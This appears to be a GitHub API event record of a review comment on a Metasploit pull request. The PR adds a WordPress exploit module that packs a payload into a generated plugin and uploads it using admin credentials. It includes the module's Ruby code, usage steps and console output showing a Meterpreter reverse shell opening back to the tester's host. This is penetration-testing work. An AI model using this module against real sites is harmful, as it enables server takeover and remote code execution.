{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/25121036","id":25121036,"diff_hunk":"@@ -0,0 +1,96 @@\n+##\n+# This module requires Metasploit: http://www.metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+require 'rex/zip'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::FileDropper\n+  include Msf::HTTP::Wordpress\n+\n+  def initialize(info = {})\n+    super(update_info(\n+      info,\n+      'Name'            => 'WordPress Admin Shell Upload',\n+      'Description'     => %q{\n+          This module will generate a plugin, pack the payload into it\n+          and upload it to a server running WordPress providing valid\n+          admin credentials are used.\n+        },\n+      'License'         => MSF_LICENSE,\n+      'Author'          =>\n+        [\n+          'Rob Carr <rob[at]rastating.com>' # Metasploit module\n+        ],\n+      'DisclosureDate'  => 'Feb 21 2015',\n+      'Platform'        => 'php',\n+      'Arch'            => ARCH_PHP,\n+      'Targets'         => [['WordPress', {}]],\n+      'DefaultTarget'   => 0\n+    ))\n+\n+    register_options(\n+      [\n+        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),\n+        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])\n+      ], self.class)\n+  end\n+\n+  def username\n+    datastore['USERNAME']\n+  end\n+\n+  def password\n+    datastore['PASSWORD']\n+  end\n+\n+  def referer_uri\n+    normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')\n+  end\n+\n+  def generate_plugin(plugin_name, payload_name)\n+    r = Random.new\n+    plugin_script = %Q{<?php\n+/**\n+ * Plugin Name: #{plugin_name}\n+ * Version: #{r.rand(1..20)}.#{r.rand(0..20)}.#{r.rand(0..20)}\n+ * Author: #{Rex::Text.rand_text_alpha(10)}\n+ * Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com\n+ * License: GPL2\n+ */\n+?>}\n+\n+    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)\n+    zip.add_file(\"#{plugin_name}/#{plugin_name}.php\", plugin_script)\n+    zip.add_file(\"#{plugin_name}/#{payload_name}\", payload.encoded)","path":"modules/exploits/unix/webapp/wp_admin_shell_upload.rb","position":69,"original_position":69,"commit_id":"76a64b31d70af483f75fe7f7513978cb0adebdec","original_commit_id":"76a64b31d70af483f75fe7f7513978cb0adebdec","user":{"login":"FireFart","id":105281,"avatar_url":"https://avatars.githubusercontent.com/u/105281?v=3","gravatar_id":"","url":"https://api.github.com/users/FireFart","html_url":"https://github.com/FireFart","followers_url":"https://api.github.com/users/FireFart/followers","following_url":"https://api.github.com/users/FireFart/following{/other_user}","gists_url":"https://api.github.com/users/FireFart/gists{/gist_id}","starred_url":"https://api.github.com/users/FireFart/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FireFart/subscriptions","organizations_url":"https://api.github.com/users/FireFart/orgs","repos_url":"https://api.github.com/users/FireFart/repos","events_url":"https://api.github.com/users/FireFart/events{/privacy}","received_events_url":"https://api.github.com/users/FireFart/received_events","type":"User","site_admin":false},"body":"i think we should move the extension from the payload_name definition below to here to avoid confusions\r\n`\r\n+ zip.add_file(\"#{plugin_name}/#{payload_name}.php\", payload.encoded)`","created_at":"2015-02-21T09:28:29Z","updated_at":"2015-02-21T09:28:29Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/4808#discussion_r25121036","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/25121036"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4808#discussion_r25121036"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808","id":29746687,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4808","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4808.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4808.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4808","number":4808,"state":"open","locked":false,"title":"Add generic WordPress admin shell upload module","user":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"body":"As per discussions [Here](https://github.com/rapid7/metasploit-framework/pull/4789), I have created a generic shell upload module that can be used after successful privilege escalation in WordPress systems. This module works by creating a valid WordPress plugin and packing the payload into said plugin, which is subsequently uploaded and installed on to the WordPress server; allowing for the remote execution.\r\n\r\n## Important Notes\r\n* I have abstracted the nonce acquisition code into the ```helpers.rb``` file\r\n* I have created a new WordPress module called ```Msf::HTTP::Wordpress::Admin```, currently it only contains the ```wordpress_upload_plugin``` function, but I created it so other authenticated requests and functionality can be placed into this module in the future\r\n* In the original discussion around this functionality, it was mentioned about adding a ```delete_plugin``` function, however, you will notice two files are registered for cleanup prior to the execution of the payload - the deletion of both of these files removes the plugin from the plugin listing in the WordPress admin panel and voids the need to delete them via generating a nonce and making the appropriate HTTP requests\r\n* On lines 58-65, you'll notice I haven't tabbed the code in at all - this is because WordPress is expecting a single space at the start of each comment line, tabbing it in will prevent it validating the script as a valid plugin; it looks a little bit ugly but it's unfortunately a requirement :( I'm open to suggestions on making that look a bit prettier though if anyone has any ideas\r\n\r\n## Verification\r\n- [ ] Download and install [WordPress](https://wordpress.org/download/)\r\n- [ ] Load msfconsole and ```use exploit/unix/webapp/wp_admin_shell_upload```\r\n- [ ] Set ```RHOST``` to the target's address\r\n- [ ] If running WordPress in a subdirectory, ensure to set ```TARGETURI``` appropriately (e.g. if running in a folder called wordpress, set ```TARGETURI``` to ```/wordpress/```)\r\n- [ ] Set ```USERNAME``` and ```PASSWORD``` to the credentials of the WordPress user you wish to authenticate as (must be a user that has admin rights)\r\n- [ ] Set the payload and its required options\r\n- [ ] Run the module\r\n\r\n## Example Output\r\n```\r\nmsf > use exploit/unix/webapp/wp_admin_shell_upload\r\nmsf exploit(wp_admin_shell_upload) > set PAYLOAD php/meterpreter/reverse_tcp\r\nPAYLOAD => php/meterpreter/reverse_tcp\r\nmsf exploit(wp_admin_shell_upload) > set LHOST 192.168.1.189\r\nLHOST => 192.168.1.189\r\nmsf exploit(wp_admin_shell_upload) > set RHOST 192.168.1.15\r\nRHOST => 192.168.1.15\r\nmsf exploit(wp_admin_shell_upload) > set TARGETURI /wordpress/\r\nTARGETURI => /wordpress/\r\nmsf exploit(wp_admin_shell_upload) > set USERNAME root\r\nUSERNAME => root\r\nmsf exploit(wp_admin_shell_upload) > set PASSWORD toor\r\nPASSWORD => toor\r\nmsf exploit(wp_admin_shell_upload) > run\r\n\r\n[*] Started reverse handler on 192.168.1.189:4444\r\n[*] 192.168.1.15:80 - Authenticating with WordPress using root:toor...\r\n[+] 192.168.1.15:80 - Authenticated with WordPress\r\n[*] 192.168.1.15:80 - Preparing payload...\r\n[*] 192.168.1.15:80 - Uploading payload...\r\n[*] 192.168.1.15:80 - Executing the payload at /wordpress/wp-content/plugins/TlQVnerrlI/fnVNRGXTQp.php...\r\n[*] Sending stage (40499 bytes) to 192.168.1.15\r\n[*] Meterpreter session 1 opened (192.168.1.189:4444 -> 192.168.1.15:42327) at 2015-02-21 01:42:31 +0000\r\n[+] Deleted fnVNRGXTQp.php\r\n[+] Deleted TlQVnerrlI.php\r\n\r\nmeterpreter > sysinfo\r\nComputer    : ubuntu\r\nOS          : Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64\r\nMeterpreter : php/php\r\nmeterpreter > getuid\r\nServer username: www-data (33)\r\nmeterpreter >\r\n```","created_at":"2015-02-21T02:09:05Z","updated_at":"2015-02-21T09:28:29Z","closed_at":null,"merged_at":null,"merge_commit_sha":"ab93b3c9dcb8764b11bea4cc7743bf8267adecc2","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4808/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/76a64b31d70af483f75fe7f7513978cb0adebdec","head":{"label":"rastating:wp_admin_shell_upload","ref":"wp_admin_shell_upload","sha":"76a64b31d70af483f75fe7f7513978cb0adebdec","user":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"repo":{"id":28781153,"name":"metasploit-framework","full_name":"rastating/metasploit-framework","owner":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/rastating/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/rastating/metasploit-framework","forks_url":"https://api.github.com/repos/rastating/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rastating/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rastating/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rastating/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rastating/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rastating/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rastating/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rastating/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rastating/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rastating/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rastating/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rastating/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rastating/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rastating/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rastating/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rastating/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rastating/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rastating/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rastating/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rastating/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rastating/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rastating/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rastating/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rastating/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rastating/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rastating/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rastating/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rastating/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rastating/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rastating/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rastating/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rastating/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rastating/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rastating/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rastating/metasploit-framework/releases{/id}","created_at":"2015-01-04T17:43:57Z","updated_at":"2015-02-20T20:14:24Z","pushed_at":"2015-02-21T01:51:13Z","git_url":"git://github.com/rastating/metasploit-framework.git","ssh_url":"git@github.com:rastating/metasploit-framework.git","clone_url":"https://github.com/rastating/metasploit-framework.git","svn_url":"https://github.com/rastating/metasploit-framework","homepage":"http://www.metasploit.com/","size":274256,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"40972220e38bbf13c5fba33fdb1b471b4b9bd789","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-02-21T07:12:00Z","pushed_at":"2015-02-21T07:44:05Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1011083,"stargazers_count":3356,"watchers_count":3356,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2793,"mirror_url":null,"open_issues_count":188,"forks":2793,"open_issues":188,"watchers":3356,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4808"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4808"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4808/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4808/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/76a64b31d70af483f75fe7f7513978cb0adebdec"}}}}